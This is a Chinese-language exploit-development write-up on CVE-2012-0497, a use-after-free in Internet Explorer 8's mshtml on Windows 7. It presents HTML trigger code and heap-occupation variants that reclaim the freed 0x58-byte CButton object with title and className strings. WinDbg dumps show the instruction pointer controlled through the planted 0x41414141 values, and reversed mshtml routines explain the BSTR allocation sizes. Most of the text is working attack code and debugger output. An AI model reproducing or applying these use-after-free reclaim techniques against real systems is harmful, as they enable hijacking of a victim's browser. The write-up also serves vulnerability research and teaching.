这里以CVE-2012-0497为例，poc如下：
<!doctype html> <html> <head> <script> function helloWorld() { var e0 = null; var e1 = null; var e2 = null; try { e0 = document.getElementById("a"); e1 = document.getElementById("b"); e2 = document.createElement("q"); e1.applyElement(e2); e1.appendChild(document.createElement('button')); e1.applyElement(e0); e2.outerText = ""; e2.appendChild(document.createElement('body')); } catch(e) { } CollectGarbage(); var eip = window; var data = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; eip.location = unescape("AA" + data); } </script> </head> <body onload="eval(helloWorld())"> <form id="a"> </form> <dfn id="b"> </dfn> </body> </html>
以上代码在ie8+win7 32 位下测试，漏洞具体细节不多说，分析后得到的UAF对象大小为0x58，下面是占位的代码：
用title来占位：
<!doctype html> <html> <head> <script> var arr_div = new Array(); var junk=unescape("%u4141%u4141"); while (junk.length < (0x100- 6)/2) { junk+=junk; } function helloWorld() { var e0 = null; var e1 = null; var e2 = null; try { e0 = document.getElementById("a"); e1 = document.getElementById("b"); e2 = document.createElement("q"); e1.applyElement(e2); e1.appendChild(document.createElement('button')); e1.applyElement(e0); e2.outerText = ""; e2.appendChild(document.createElement('body')); } catch(e) { } CollectGarbage(); for(var i = 0; i<0x50; i++) { arr_div[i]= document.createElement("div"); arr_div[i].title= junk.substring(0,(0x58-6)/2); } } </script> </head> <body onload="eval(helloWorld())"> <form id="a"> </form> <dfn id="b"> </dfn> </body> </html>
这样占位后的内存如下：
(cdc.eb8): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=41414141 ebx=002d7978 ecx=00000052 edx=00000000 esi=00000000 edi=002dbac8 eip=6ac6e1e0 esp=0208cfb4 ebp=0208d00c iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 mshtml!CMarkup::OnLoadStatusDone+0x4e5: 6ac6e1e0 ff90dc000000 call dword ptr [eax+0DCh] ds:0023:4141421d=???????? 0:005> !heap -p -a edi address 002dbac8 found in _HEAP @ 250000 HEAP_ENTRY Size Prev Flags UserPtr UserSize - state 002dbac0 000c 0000 [00] 002dbac8 00054 - (busy) 0:005> dd edi-10 002dbab8 00000000 00000000 75ad7fe1 8c000000 002dbac8 41414141 41414141 41414141 41414141 002dbad8 41414141 41414141 41414141 41414141 002dbae8 41414141 41414141 41414141 41414141 002dbaf8 41414141 41414141 41414141 41414141 002dbb08 41414141 41414141 41414141 41414141 002dbb18 00004141 00000000 75ad7fdd 88000000 002dbb28 73843fb4 00000000 73868f88 00000000
同样用className来占位的话：
<!doctype html> <html> <head> <script> var arr_button = new Array(); var junk=unescape("%u4141%u4141"); while (junk.length < (0x100- 6)/2) { junk+=junk; } function helloWorld() { var e=document.createElement('div'); var e0 = null; var e1 = null; var e2 = null; for(i =0; i < 20; i++) { document.createElement('button'); } try { e0 = document.getElementById("a"); e1 = document.getElementById("b"); e2 = document.createElement("q"); e1.applyElement(e2); e1.appendChild(document.createElement('button')); e1.applyElement(e0); e2.outerText = ""; e2.appendChild(document.createElement('body')); } catch(e) { } CollectGarbage(); for(var i = 0; i<0x50; i++) { arr_button[i]= document.createElement("button"); arr_button[i].className= junk.substring(0,(0x58-6)/2); } } </script> </head> <body onload="eval(helloWorld())"> <form id="a"> </form> <dfn id="b"> </dfn> </body> </html>
占位后的内存：
irst chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=0000ffff ebx=00491e50 ecx=00000052 edx=00000000 esi=00000000 edi=004bc3b0 eip=01000000 esp=0254d640 ebp=0254d69c iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 01000000 ?? ??? 0:005> !heap -p -a edi address 004bc3b0 found in _HEAP @ 410000 HEAP_ENTRY Size Prev Flags UserPtr UserSize - state 004bc3a8 000c 0000 [00] 004bc3b0 00058 - (free) 0:005> dd edi 004bc3b0 0000ffff 41414141 41414141 41414141 004bc3c0 41414141 41414141 41414141 41414141 004bc3d0 41414141 41414141 41414141 41414141 004bc3e0 41414141 41414141 41414141 41414141 004bc3f0 41414141 41414141 41414141 41414141 004bc400 41414141 00004141 0ac4ae7f 8c000000 004bc410 41414141 41414141 41414141 41414141 004bc420 41414141 41414141 41414141 41414141
感觉很神奇，为什么用className同样的方式去占位却没有成功，明显分配的字符串已经被释放掉了。
可是我们对代码稍加修改：
arr_div[i]= document.createElement("div");
arr_div[i].className= junk.substring(0,(0x5C-6)/2);
占位后的内存如下：
First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=41414141 ebx=0035c780 ecx=00000052 edx=00000000 esi=00000000 edi=0032c3b0 eip=6959e1e0 esp=024cd70c ebp=024cd764 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 mshtml!CMarkup::OnLoadStatusDone+0x4e5: 6959e1e0 ff90dc000000 call dword ptr [eax+0DCh] ds:0023:4141421d=???????? 0:005> !heap -p -a edi address 0032c3b0 found in _HEAP @ 280000 HEAP_ENTRY Size Prev Flags UserPtr UserSize - state 0032c3a8 000c 0000 [00] 0032c3b0 00058 - (busy) 0:005> dd edi 0032c3b0 41414141 41414141 41414141 41414141 0032c3c0 41414141 41414141 41414141 41414141 0032c3d0 41414141 41414141 41414141 41414141 0032c3e0 41414141 41414141 41414141 41414141 0032c3f0 41414141 41414141 41414141 41414141 0032c400 41414141 00004141 0c936b32 88000000 0032c410 41414141 41414141 41414141 41414141 0032c420 41414141 41414141 41414141 41414141
那么前面用title占位所分配的字节（0x58-6）/2 为什么会分配的字节数是0x54呢？安照经典的理论来讲，BSTR字符串在内存中应该是如下的布局：
--------------------------------------------------------
00 00 00 00| 00 00 00 00 ....... | 00 00
--------------------------------------------------------
长度 0x58字节的数据 结尾标识
---------------------------------------------------------
但是看看占位的内存:
0:005> !heap -p -a edi address 00123ce0 found in _HEAP @ 70000 HEAP_ENTRY Size Prev Flags UserPtr UserSize - state 00123cd8 000c 0000 [00] 00123ce0 00058 - (busy) 0:005> dd edi-10 00123cd0 00610000 00000000 377139ba 88000000 00123ce0 41414141 41414141 41414141 41414141 00123cf0 41414141 41414141 41414141 41414141 00123d00 41414141 41414141 41414141 41414141 00123d10 41414141 41414141 41414141 41414141 00123d20 41414141 41414141 41414141 41414141 00123d30 41414141 00004141 37713986 88000000 00123d40 41414141 41414141 41414141 41414141
大小竟然是0x88000000，很明显这块内存并不是我们分配的BSTR字符串,这里梳理一下，在UAF占位中，由于对某块内存的误释放（这里是0x58字节大小的CButton），然后我们需要申请到这块被释放的CButton对象内存，然后就可以控制程序的流程。
OK，以ClassName为例，看看这个过程是如何操作的：
1.找到分配的BSTR字符串：
通过mshtml.dll的一些函数名，可以猜测到函数CElement::SetClassHelper是负责进行这个过程的函数，
给该函数下断来证明：
（这里分配的大小为(0x5c-6)/2)
Breakpoint 0 hit eax=024e9eec ebx=69b6ce7c ecx=024e9ee8 edx=0003d388 esi=69b6ce7c edi=006aa198 eip=69bbdf7b esp=024e9ec8 ebp=024e9edc iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 mshtml!CElement::SetClassHelper: 69bbdf7b 8bff mov edi,edi
0:005> dd poi(eax)
006282c4 41414141 41414141 41414141 41414141
006282d4 41414141 41414141 41414141 41414141
006282e4 41414141 41414141 41414141 41414141
006282f4 41414141 41414141 41414141 41414141
00628304 41414141 41414141 41414141 41414141
00628314 41414141 00004141 00000000 4f78d6aa
00628324 88000000 00628390 00000004 00000001
00628334 00000000 00000002 00000000 00000000
0:005> dd poi(eax)-10
006282b4 00000000 4f78d699 8c000000 00000056
006282c4 41414141 41414141 41414141 41414141
006282d4 41414141 41414141 41414141 41414141
006282e4 41414141 41414141 41414141 41414141
006282f4 41414141 41414141 41414141 41414141
00628304 41414141 41414141 41414141 41414141
00628314 41414141 00004141 00000000 4f78d6aa
00628324 88000000 00628390 00000004 00000001
0:005> !heap -p -a poi(eax)
address 006282c4 found in
_HEAP @ 5d0000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
006282b8 000d 0000 [00] 006282c0 0005c - (busy)
上面红色的内存即BSTR对象，0x56为数据的大小，整个BSTR占据的堆内存大小为0x5c，继续看看该函数：
int __stdcall CElement::SetClassHelper(int a1, int *a2) { int v2; // edi@1 int result; // eax@1 bool v4; // cl@4 v2 = *a2; result = CBase::AddString(a1, -2147417111, *a2, 0); if ( !result ) { v4 = v2 && *(_WORD *)v2; *(_BYTE *)(a1 + 33) ^= (v4 ^ *(_BYTE *)(a1 + 33)) & 1; } *(_BYTE *)(a1 + 33) &= 0xFDu; return result; }
继续往下跟：
CBase::AddString》CAttrArray::Set》CAttrArray::Set》CAttrValue::InitVariant
重点在这个函数里面，我们中断到_HeapAllocString这个函数看看其参数：
0:005> p eax=00000000 ebx=006282c4 ecx=0000001f edx=024e9e38 esi=024e9e0c edi=024e9e38 eip=69b86f15 esp=024e9df4 ebp=024e9e10 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 mshtml!CAttrValue::InitVariant+0x152: 69b86f15 e8e3f1ffff call mshtml!_HeapAllocString (69b860fd)
0:005> dd esp
024e9df4 006282c4 00000000 024e9e94 00000000
024e9e04 00000000 00000000 0000001f 024e9e48
024e9e14 69b723c3 024e9e94 00000000 006282c4
024e9e24 006aa1a4 69b6ce7c 00690ef0 00000000
024e9e34 00000000 00000000 800103e9 00000000
024e9e44 00000000 024e9e70 69b7230f 800103e9
024e9e54 00000000 024e9e94 00000000 00000000
024e9e64 00000000 006aa198 024e9ee8 024e9ea4
0:005> dd 006282c4
006282c4 41414141 41414141 41414141 41414141
006282d4 41414141 41414141 41414141 41414141
006282e4 41414141 41414141 41414141 41414141
006282f4 41414141 41414141 41414141 41414141
00628304 41414141 41414141 41414141 41414141
00628314 41414141 00004141 00000000 4f78d6aa
00628324 88000000 00628390 00000004 00000001
00628334 00000000 00000002 00000000 00000000
发现第一个参数恰好是我们分配的BSTR对象.
signed int __userpurge _HeapAllocString<eax>(SIZE_T a1<ecx>, int a2<esi>, char *Src) { char *v3; // eax@1 __int16 v4; // cx@2 void *v5; // eax@5 signed int result; // eax@7 SIZE_T Size; // [sp+0h] [bp-4h]@1 Size = a1; v3 = Src; do { v4 = *(_WORD *)v3; v3 += 2; } while ( v4 ); if ( ULongAdd((v3 - (Src + 2)) >> 1, 1u, &Size) < 0 || ULongLongToUInt((int)&Size, 2i64 * Size, (unsigned int *)Size) < 0 ) { v5 = 0; *(_DWORD *)a2 = 0; } else { v5 = HeapAlloc(g_hProcessHeap, 0, Size); *(_DWORD *)a2 = v5; } if ( v5 ) { memcpy(v5, Src, Size); result = 0; } else { result = -2147024882; } return result; }
然后在该函数中计算BSTR对象的大小并调用HeapAlloc分配内存，然后用memcpy将BSTR对象的字符串拷贝到这片内存！
最后这里分配的内存空间实际上为0x58大小，即BSTR字符串的大小-4，实际上相当于去掉了BSTR对象的头部（4个字节）并进行的内存的重新分配和拷贝。
0:005> bp 69b8614e ".printf "Allocated Buffer Address =0x%0x \n ",eax;gc"
以上断点打印出HeapAlloc后的内存并对比最终被重用的内存：
0:005> g Allocated Buffer Address =0x67c3b0 Allocated Buffer Address =0x67c410 Allocated Buffer Address =0x67c470 Allocated Buffer Address =0x6cd2a8 Allocated Buffer Address =0x6cd308 Allocated Buffer Address =0x6cd368 Allocated Buffer Address =0x6cd3c8 Allocated Buffer Address =0x6cd428 Allocated Buffer Address =0x6cd488 Allocated Buffer Address =0x6cd4e8 Allocated Buffer Address =0x6cd548 Allocated Buffer Address =0x6cd5a8 Allocated Buffer Address =0x6cd608 Allocated Buffer Address =0x6cd668 Allocated Buffer Address =0x6cd6c8 Allocated Buffer Address =0x6cd728 Allocated Buffer Address =0x6cd788 Allocated Buffer Address =0x6cd7e8 Allocated Buffer Address =0x6cd848 Allocated Buffer Address =0x6cd8a8 Allocated Buffer Address =0x6cd908 Allocated Buffer Address =0x6cd968 Allocated Buffer Address =0x6cd9c8 Allocated Buffer Address =0x6cda28 Allocated Buffer Address =0x6cda88 Allocated Buffer Address =0x6cdae8 Allocated Buffer Address =0x6cdb48 Allocated Buffer Address =0x6cdba8 Allocated Buffer Address =0x6cdc08 Allocated Buffer Address =0x6cdc68 Allocated Buffer Address =0x6cdcc8 Allocated Buffer Address =0x6cdd28 Allocated Buffer Address =0x6cdd88 Allocated Buffer Address =0x6cdde8 Allocated Buffer Address =0x6cde48 Allocated Buffer Address =0x6cdea8 Allocated Buffer Address =0x6cdf08 Allocated Buffer Address =0x6cdf68 Allocated Buffer Address =0x6cdfc8 Allocated Buffer Address =0x6ce028 Allocated Buffer Address =0x6ce088 Allocated Buffer Address =0x6ce0e8 Allocated Buffer Address =0x6ce148 Allocated Buffer Address =0x6ce1a8 Allocated Buffer Address =0x6ce208 Allocated Buffer Address =0x32c5868 Allocated Buffer Address =0x32c58c8 Allocated Buffer Address =0x32c5928 Allocated Buffer Address =0x32c5988 Allocated Buffer Address =0x32c59e8 Allocated Buffer Address =0x32c5a48 Allocated Buffer Address =0x32c5aa8 Allocated Buffer Address =0x32c5b08 Allocated Buffer Address =0x32c5b68 Allocated Buffer Address =0x32c5bc8 Allocated Buffer Address =0x32c5c28 Allocated Buffer Address =0x32c5c88 Allocated Buffer Address =0x32c5ce8 Allocated Buffer Address =0x32c5d48 Allocated Buffer Address =0x32c5da8 Allocated Buffer Address =0x32c5e08 Allocated Buffer Address =0x32c5e68 Allocated Buffer Address =0x32c5ec8 Allocated Buffer Address =0x32c5f28 Allocated Buffer Address =0x32c5f88 Allocated Buffer Address =0x32c5fe8 Allocated Buffer Address =0x32c6048 Allocated Buffer Address =0x32c60a8 Allocated Buffer Address =0x32c6108 Allocated Buffer Address =0x32c6168 Allocated Buffer Address =0x32c61c8 Allocated Buffer Address =0x32c6228 Allocated Buffer Address =0x32c6288 Allocated Buffer Address =0x32c62e8 Allocated Buffer Address =0x32c6348 Allocated Buffer Address =0x32c63a8 Allocated Buffer Address =0x32c6408 Allocated Buffer Address =0x32c6468 Allocated Buffer Address =0x32c64c8 Allocated Buffer Address =0x32c6528 (d6c.d50): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=41414141 ebx=006a5918 ecx=00000052 edx=00000000 esi=00000000 edi=0067c3b0 eip=69b5e1e0 esp=024ed3cc ebp=024ed424 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 mshtml!CMarkup::OnLoadStatusDone+0x4e5: 69b5e1e0 ff90dc000000 call dword ptr [eax+0DCh] ds:0023:4141421d=????????
可以看出0x67c3b0即我们第一次分配的内存，已经被成功的占位了！
另外还需要说明前面在调用title的时候用(0x58-6)/2也可以成功的占位，不过这次占位确实分配的内存是0x54而不是0x58，不过由于这块内存小于0x58而且最靠近0x58，因此根据堆分配策略也会将
释放的CButton内存分配给title。